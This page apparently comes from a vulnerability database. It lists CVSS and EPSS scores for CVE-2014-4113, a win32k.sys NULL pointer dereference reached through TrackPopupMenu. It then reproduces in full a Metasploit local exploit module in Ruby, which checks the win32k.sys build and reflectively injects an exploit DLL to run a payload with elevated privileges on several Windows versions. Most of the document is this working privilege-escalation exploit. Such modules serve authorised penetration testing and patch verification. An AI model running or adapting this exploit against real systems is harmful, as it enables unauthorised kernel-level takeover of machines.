7.2 High
CVSS2
Access Vector
LOCAL
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:L/AC:L/Au:N/C:C/I:C/A:C
0.023 Low
EPSS
Percentile
89.5%
This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability can be triggered through the use of TrackPopupMenu. Under special conditions, the NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary code execution. This module has been tested successfully on Windows XP SP3, Windows 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows 2008 R2 SP1 64 bits.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info = {})
super(
update_info(
info,
{
'Name' => 'Windows TrackPopupMenu Win32k NULL Pointer Dereference',
'Description' => %q{
This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability
can be triggered through the use of TrackPopupMenu. Under special conditions, the
NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary
code execution. This module has been tested successfully on Windows XP SP3, Windows
2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows
2008 R2 SP1 64 bits.
},
'License' => MSF_LICENSE,
'Author' => [
'Unknown', # vulnerability discovery and exploit in the wild
'juan vazquez', # msf module (x86 target)
'Spencer McIntyre', # msf module (x64 target)
'OJ Reeves <oj[at]buffered.io>'
],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
# Tested on (32 bits):
# * Windows XP SP3
# * Windows 2003 SP2
# * Windows 7 SP1
# * Windows 2008
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
# Tested on (64 bits):
# * Windows 7 SP1
# * Windows 2008 R2 SP1
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['CVE', '2014-4113'],
['OSVDB', '113167'],
['BID', '70364'],
['MSB', 'MS14-058'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/']
],
'DisclosureDate' => '2014-10-14',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ]
}
}
)
)
end
def check
if session.platform != 'windows'
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
# Neither target suports Windows 8 or 8.1
return Exploit::CheckCode::Safe if build == 9200
return Exploit::CheckCode::Safe if build == 9600
return Exploit::CheckCode::Appears if [2600, 3790, 7600, 7601].include?(build)
return Exploit::CheckCode::Unknown
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
print_status('Reflectively injecting the exploit DLL and triggering the exploit...')
if target.arch.first == ARCH_X86
dll_file_name = 'cve-2014-4113.x86.dll'
else
dll_file_name = 'cve-2014-4113.x64.dll'
end
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-4113', dll_file_name),
encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end